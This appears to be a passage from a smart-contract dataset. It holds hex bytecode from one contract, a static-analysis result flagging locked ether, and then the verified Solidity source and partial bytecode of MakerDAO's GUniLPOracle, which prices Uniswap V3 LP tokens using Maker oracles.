69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110151561186857fe5b90600052602060002001546040518082815260200191505060405180910390a3600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555083806001019450506112c4565b600194506118f2565b600094505b50505050949350505050565b60608160008173ffffffffffffffffffffffffffffffffffffffff161415151561192757600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156119b057602002820191906000526020600020905b81548152602001906001019080831161199c575b5050505050915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1857600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915090505481565b60056020528060005260406000206000915090505481565b60045481565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611aba57600080fd5b8360008173ffffffffffffffffffffffffffffffffffffffff1614151515611ae157600080fd5b6000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b3357611b3286613031565b5b83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611b825750600084115b15611e1357611c0d600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561362c565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cd6600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561362c565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d62600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485613013565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250611e18565b600092505b50509392505050565b600360009054906101000a900460ff1681565b600860205281600052604060002081815481101515611e4f57fe5b90600052602060002001600091509150505481565b600760205281600052604060002081815481101515611e7f57fe5b90600052602060002001600091509150505481565b8060008173ffffffffffffffffffffffffffffffffffffffff1614151515611ebb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f1657600080fd5b6001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6040805190810160405280600581526020017f302e37373700000000000000000000000000000000000000000000000000000081525081565b60008060009150600090505b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156120e257612060600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561204d57fe5b9060005260206000200154600b54613013565b61206c42600c54613013565b10156120d5576120d282600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156120c257fe5b9060005260206000200154613013565b91505b8080600101915050611fb7565b81915050919050565b600c5481565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600090505b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156121f1576121e282600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156121d257fe5b9060005260206000200154613013565b9150808060010191505061213b565b81915050919050565b6060600060608360008173ffffffffffffffffffffffffffffffffffffffff161415151561222757600080fd5b60009250600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156122995781602001602082028038833980820191505090505b5091505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483101561237a57612351612349600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561233657fe5b9060005260206000200154600b54613013565b600c5461362c565b828481518110151561235f57fe5b9060200190602002018181525050828060010193505061229d565b819350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124405780601f1061241557610100808354040283529160200191612440565b820191906000526020600020905b81548152906001019060200180831161242357829003601f168201915b505050505081565b60008260008173ffffffffffffffffffffffffffffffffffffffff161415151561247157600080fd5b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156124c3576124c233613031565b5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156125125750600083115b1561269d57612560600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461362c565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ec600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613013565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191506126a2565b600091505b5092915050565b60008060008560008173ffffffffffffffffffffffffffffffffffffffff16141515156126d557600080fd5b855185511415156126e557600080fd5b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156127375761273633613031565b5b60009250600091505b84518310156127795761276a82868581518110151561275b57fe5b90602001906020020151613013565b91508280600101935050612740565b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156127c85750600082115b15612dfb57600092505b8551831015612df25761283b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868581518110151561282c57fe5b9060200190602002015161362c565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208161290b9190613645565b506001600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816129999190613645565b506129bb4287858151811015156129ac57fe5b90602001906020020151613013565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481101515612a4657fe5b90600052602060002001819055508483815181101515612a6257fe5b90602001906020020151600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481101515612af757fe5b90600052602060002001819055508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffe070d51105133a72bb93887d77e06cf4e456c051b256e50905871f9f231b648600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481101515612bdf57fe5b9060005260206000200154600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481101515612c7557fe5b9060005260206000200154604051808381526020018281526020019250505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481101515612d7657fe5b90600052602060002001546040518082815260200191505060405180910390a3600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555082806001019350506127d2565b60019350612e00565b600093505b5050509392505050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e6b57600080fd5b612e77600b5482613013565b600b8190555050565b8060008173ffffffffffffffffffffffffffffffffffffffff1614151515612ea757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f0257600080fd5b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ffe57600080fd5b61300a600c5482613013565b600c8190555050565b600080828401905083811015151561302757fe5b8091505092915050565b6000806060806060806060806000975060009650600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156130b35781602001602082028038833980820191505090505b509350600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156131245781602001602082028038833980820191505090505b509250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156131b057602002820191906000526020600020905b81548152602001906001019080831161319c575b50505050509550600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561324057602002820191906000526020600020905b81548152602001906001019080831161322c575b505050505094505b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205488101561344f576132b286898151811015156132a057fe5b90602001906020020151600b54613013565b6132be42600c54613013565b11156133d157613324600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868a81518110151561331557fe5b90602001906020020151613013565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3868a8151811015156133ad57fe5b906020019060200201516040518082815260200191505060405180910390a2613442565b85888151811015156133df57fe5b9060200190602002015184888151811015156133f757fe5b9060200190602002018181525050848881518110151561341357fe5b90602001906020020151838881518110151561342b57fe5b906020019060200201818152505086806001019750505b8780600101985050613248565b8660405190808252806020026020018201604052801561347e5781602001602082028038833980820191505090505b509150866040519080825280602002602001820160405280156134b05781602001602082028038833980820191505090505b509050600097505b868810156135355783888151811015156134ce57fe5b9060200190602002015182898151811015156134e657fe5b9060200190602002018181525050828881518110151561350257fe5b90602001906020020151818981518110151561351a57fe5b906020019060200201818152505087806001019850506134b8565b81600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190613588929190613671565b5080600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090805190602001906135dc929190613671565b5086600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b600081831015151561363a57fe5b818303905092915050565b81548183558181111561366c5781836000526020600020918201910161366b91906136be565b5b505050565b8280548282559060005260206000209081019282156136ad579160200282015b828111156136ac578251825591602001919060010190613691565b5b5090506136ba91906136be565b5090565b6136e091905b808211156136dc5760008160009055506001016136c4565b5090565b905600a165627a7a72305820e947882c06e0a1f881c5628841b4cea5253485c2528ad17f688909f1305bbf820029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,477 |
0xccba43231ac6ecebd1278b90c3a44711a00f4e93
|
/**
*Submitted for verification at Etherscan.io on 2021-09-17
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
/// GUniLPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// We derive the sqrtPriceX96 via Maker's own oracles to prevent price manipulation in the pool:
//
// p0 = price of token0 in USD
// p1 = price of token1 in USD
// UNITS_0 = decimals of token0
// UNITS_1 = decimals of token1
//
// token1/token0 = (p0 / 10^UNITS_0) / (p1 / 10^UNITS_1) [Conversion from Maker's price ratio into Uniswap's format]
// = (p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)
//
// sqrtPriceX96 = sqrt(token1/token0) * 2^96 [From Uniswap's definition]
// = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^96
// = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^48 * 2^48
// = sqrt((p0 * 10^UNITS_1 * 2^96) / (p1 * 10^UNITS_0)) * 2^48
//
// Once we have the sqrtPriceX96 we can use that to compute the fair reserves for each token. This part may be slightly subjective
// depending on the implementation, but we expect most tokens to provide something like getUnderlyingBalancesAtPrice(uint160 sqrtPriceX96)
// which will forward our oracle-calculated `sqrtPriceX96` to the Uniswap-provided LiquidityAmounts.getAmountsForLiquidity(...)
// This function will return the fair reserves for each token. Vendor-specific logic is then used to tack any uninvested fees on top of those amounts.
//
// Once we have the fair reserves and the prices we can compute the token price by:
//
// Token Price = TVL / Token Supply
// = (r0 * p0 + r1 * p1) / totalSupply
pragma solidity =0.6.12;
interface ERC20Like {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
}
interface GUNILike {
function token0() external view returns (address);
function token1() external view returns (address);
function getUnderlyingBalancesAtPrice(uint160) external view returns (uint256,uint256);
}
interface OracleLike {
function read() external view returns (uint256);
}
contract GUniLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "GUniLPOracle/not-authorized");
_;
}
address public immutable src; // Price source
// hop and zph are packed into single slot to reduce SLOADs;
// this outweighs the cost from added bitmasking operations.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
bytes32 public immutable wat; // Label of token whose price is being tracked
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "GUniLPOracle/contract-not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (mem slot 0x3)
Feed internal nxt; // Queued price (mem slot 0x4)
// --- Data ---
uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals)
uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals)
uint256 private immutable TO_18_DEC_0; // Conversion factor to 18 decimals
uint256 private immutable TO_18_DEC_1; // Conversion factor to 18 decimals
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
// --- Math ---
uint256 constant WAD = 10 ** 18;
function _add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x + _y) >= _x, "GUniLPOracle/add-overflow");
}
function _sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x - _y) <= _x, "GUniLPOracle/sub-underflow");
}
function _mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require(_y == 0 || (z = _x * _y) / _y == _x, "GUniLPOracle/mul-overflow");
}
function toUint160(uint256 x) internal pure returns (uint160 z) {
require((z = uint160(x)) == x, "GUniLPOracle/uint160-overflow");
}
// FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687
function sqrt(uint256 _x) private pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "GUniLPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "GUniLPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
emit Rely(msg.sender);
src = _src;
wat = _wat;
uint256 dec0 = uint256(ERC20Like(GUNILike(_src).token0()).decimals());
require(dec0 <= 18, "GUniLPOracle/token0-dec-gt-18");
UNIT_0 = 10 ** dec0;
TO_18_DEC_0 = 10 ** (18 - dec0);
uint256 dec1 = uint256(ERC20Like(GUNILike(_src).token1()).decimals());
require(dec1 <= 18, "GUniLPOracle/token1-dec-gt-18");
UNIT_1 = 10 ** dec1;
TO_18_DEC_1 = 10 ** (18 - dec1);
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint256 _hop) external auth {
require(_hop <= uint16(-1), "GUniLPOracle/invalid-hop");
hop = uint16(_hop);
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "GUniLPOracle/no-contract-0");
if(_id == 0) {
orb0 = _orb;
} else if (_id == 1) {
orb1 = _orb;
} else {
revert("GUniLPOracle/invalid-id");
}
emit Link(_id, _orb);
}
// For consistency with other oracles.
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return _sub(zph, hop);
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
function seek() internal returns (uint128 quote) {
// All Oracle prices are priced with 18 decimals against USD
uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
require(p0 != 0, "GUniLPOracle/invalid-oracle-0-price");
uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(p1 != 0, "GUniLPOracle/invalid-oracle-1-price");
uint160 sqrtPriceX96 = toUint160(sqrt(_mul(_mul(p0, UNIT_1), (1 << 96)) / (_mul(p1, UNIT_0))) << 48);
// Get balances of the tokens in the pool
(uint256 r0, uint256 r1) = GUNILike(src).getUnderlyingBalancesAtPrice(sqrtPriceX96);
require(r0 > 0 || r1 > 0, "GUniLPOracle/invalid-balances");
uint256 totalSupply = ERC20Like(src).totalSupply();
require(totalSupply >= 1e9, "GUniLPOracle/total-supply-too-small"); // Protect against precision errors with dust-levels of collateral
// Add the total value of each token together and divide by the totalSupply to get the unit price
uint256 preq = _add(
_mul(p0, _mul(r0, TO_18_DEC_0)),
_mul(p1, _mul(r1, TO_18_DEC_1))
) / totalSupply;
require(preq < 2 ** 128, "GUniLPOracle/quote-overflow");
quote = uint128(preq); // WAD
}
function poke() external {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "GUniLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true.
// The logic is repeated instead of calling pass() to save gas
// (both by eliminating an internal call here, and allowing pass to be external).
require(block.timestamp >= zph_, "GUniLPOracle/not-passed");
}
uint128 val = seek();
require(val != 0, "GUniLPOracle/invalid-price");
Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later.
cur = cur_;
nxt = Feed(val, 1);
// The below is equivalent to:
//
// zph = block.timestamp + hop
//
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
// zph value starts 24 bits in
shl(24, add(timestamp(), hop_)),
// hop value starts 8 bits in
shl(8, hop_)
)
)
}
// Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs.
emit Value(cur_.val, val);
// Safe to terminate immediately since no postfix modifiers are applied.
assembly {
stop()
}
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "GUniLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "GUniLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
require(_a[i] != address(0), "GUniLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610921565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610945565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3b565b6102d4610b41565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b65565b6102d4610b77565b61018a610c3d565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cad565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e39565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ede565b610223610f75565b6103a4610f84565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f8d565b6102d4611023565b6103f0611070565b604080519115158252519081900360200190f35b61040c611089565b604080516001600160e81b039092168252519081900360200190f35b61043061109f565b6040805161ffff9092168252519081900360200190f35b6101806110ae565b6102d46004803603602081101561046557600080fd5b50356001600160a01b0316611135565b610223611147565b6101806004803603602081101561049357600080fd5b50356001600160a01b0316611156565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f69732d73746f70706564000000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f6e6f742d706173736564000000000000000000604482015290519081900360640190fd5b50506000610677611254565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f696e76616c69642d7072696365000000000000604482015290519081900360640190fd5b6106dc6119c4565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610873576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b60016002600085858581811061088557fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e657fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e81565b33600090815260208190526040902054600114610997576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b61ffff8111156109ee576040805162461bcd60e51b815260206004820152601860248201527f47556e694c504f7261636c652f696e76616c69642d686f700000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a8d576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600060026000858585818110610aaa57fe5b9050602002013560016